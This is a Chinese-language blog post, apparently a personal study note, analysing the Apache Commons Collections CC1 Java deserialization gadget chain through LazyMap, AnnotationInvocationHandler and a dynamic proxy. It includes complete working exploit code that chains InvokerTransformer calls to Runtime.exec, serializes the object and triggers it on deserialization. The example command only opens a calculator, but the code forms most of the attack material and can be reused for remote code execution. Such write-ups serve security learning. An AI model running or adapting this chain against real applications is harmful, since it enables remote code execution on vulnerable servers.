本文最后更新于 2025年8月9日 下午
书接上回,分析了CC1链当中TransformMap
的反序列化攻击,跟着也把正常的CC1的链子学一下(非自然因素导致断了这么长时间)
链子分析
寻找尾部exec执行方法
还是看InvokeTransformer
的方法transform
,去看CC1 链里面 LazyMap
的链子
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
这里get方法中出现了.transform(key)
,作用域为public
寻找链子
跟踪一下factory
找factory的同时发现了decorate方法,这里类似于之前讲的 TransformMap
中的 decorate
方法
整理粗略的看一下代码,构造函数的作用域为private
,无法直接获取,而 decorate
方法里面能够 new 一个 LazyMap
对象,先写个阉割链子看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Test2 { public static void main (String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap hashmap = new HashMap (); Map decorateMap = LazyMap.decorate(hashmap,invokerTransformer); Class<LazyMap> clazz = LazyMap.class; Method method = clazz.getDeclaredMethod("get" ,Object.class); method.setAccessible(true ); method.invoke(decorateMap,runtime); } }
是可以正常弹出的
那就继续往上找内容,找如何调用lazyMap.get()
在 AnnotationInvocationHandler.invoke()
方法中找到了有一个地方调用了 get()
方法
1 Object var6 = this .memberValues.get (var4);
这个是反编译的,原文内容是
1 Object result=this .memberValues.get (member);
同时类中有readObject
可以作为链首
关键点在于我们要触发 AnnotationInvocationHandler.invoke()
Exp
AnnotationInvocationHandler
实现了 InvocationHandler
接口
需要触发 invoke
方法,马上想到动态代理,类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke()
方法
看源码会直观一点,简单来说
我们把 memberValues
替换为一个代理 Map
,那么在反序列化或者后续调用中,一旦访问 entrySet()
、get()
、toString()
等,就会触发 invoke()
方法,从而执行整条利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.omg.CORBA.portable.InvokeHandler; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class LazyMapExp { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class []{Map.class},invocationHandler); invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
整体的其实都差不多
1 2 3 4 5 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, decorateMap);
这是被代理的实例
生成代理类,并使用反序列化调用计算器
1 2 3 4 5 Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class []{Map.class},invocationHandler); invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" );
总结
也是画个流程图加深一下理解吧